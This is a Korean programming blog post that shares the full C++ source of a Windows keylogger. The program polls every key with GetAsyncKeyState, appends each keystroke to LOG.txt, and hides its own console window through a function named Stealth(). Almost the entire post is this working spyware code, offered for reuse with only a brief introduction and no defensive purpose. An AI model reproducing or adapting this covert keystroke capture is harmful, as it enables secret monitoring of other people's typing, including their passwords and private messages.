본문 바로가기
  • 2025 아오모리 핫코다산 스키
프로그래밍/C언어

C++을 이용한 간단한 키로그 프로그램

by 안또 2025. 6. 15.

똑똑하게 살고싶은 안또 입니다 📗

 

C/C++ 에서 간단하게 키보드 입력을 가로챌 수 있는 키로그 프로그램 입니다. 옛날에 채팅서버 공부용으로 했던 코드네요.이정도 코드는 2025년에는 ChatGPT 가 해줄 수 있을것 같긴 하지만 그래도 남겨놉니다.

#include <iostream> 
using namespace std; 
#include <windows.h> 
#include <winuser.h> 
int Save (int key_stroke, char *file);
void Stealth();

int main(void) 
{
 Stealth(); 
 char i;

 while (1)
 {
  for(i = 8; i <= 190; i++)
  {
   if (GetAsyncKeyState(i) == -32767)
    Save (i,"LOG.txt"); 
  }
 }
 system ("PAUSE");
 return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
 if ( (key_stroke == 1) || (key_stroke == 2) )
  return 0;

 FILE *OUTPUT_FILE;
 OUTPUT_FILE = fopen(file, "a+");

 cout << key_stroke << endl;

 if (key_stroke == 8)
  fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 
 else if (key_stroke == 13)
  fprintf(OUTPUT_FILE, "%s", "\n"); 
 else if (key_stroke == 32)
  fprintf(OUTPUT_FILE, "%s", " ");
 else if (key_stroke == VK_TAB) 
  fprintf(OUTPUT_FILE, "%s", "[TAB]");
 else if (key_stroke == VK_SHIFT)
  fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
 else if (key_stroke == VK_CONTROL)
  fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
 else if (key_stroke == VK_ESCAPE)
  fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
 else if (key_stroke == VK_END)
  fprintf(OUTPUT_FILE, "%s", "[END]");
 else if (key_stroke == VK_HOME)
  fprintf(OUTPUT_FILE, "%s", "[HOME]");
 else if (key_stroke == VK_LEFT)
  fprintf(OUTPUT_FILE, "%s", "[LEFT]");
 else if (key_stroke == VK_UP)
  fprintf(OUTPUT_FILE, "%s", "[UP]");
 else if (key_stroke == VK_RIGHT)
  fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
 else if (key_stroke == VK_DOWN)
  fprintf(OUTPUT_FILE, "%s", "[DOWN]");
 else if (key_stroke == 190 || key_stroke == 110)
  fprintf(OUTPUT_FILE, "%s", ".");
 else
  fprintf(OUTPUT_FILE, "%s", &key_stroke);

 fclose (OUTPUT_FILE);
 return 0;
}

/* *********************************** */

void Stealth()
{
 HWND Stealth;
 AllocConsole();
 Stealth = FindWindowA("ConsoleWindowClass", NULL);
 ShowWindow(Stealth,0);
}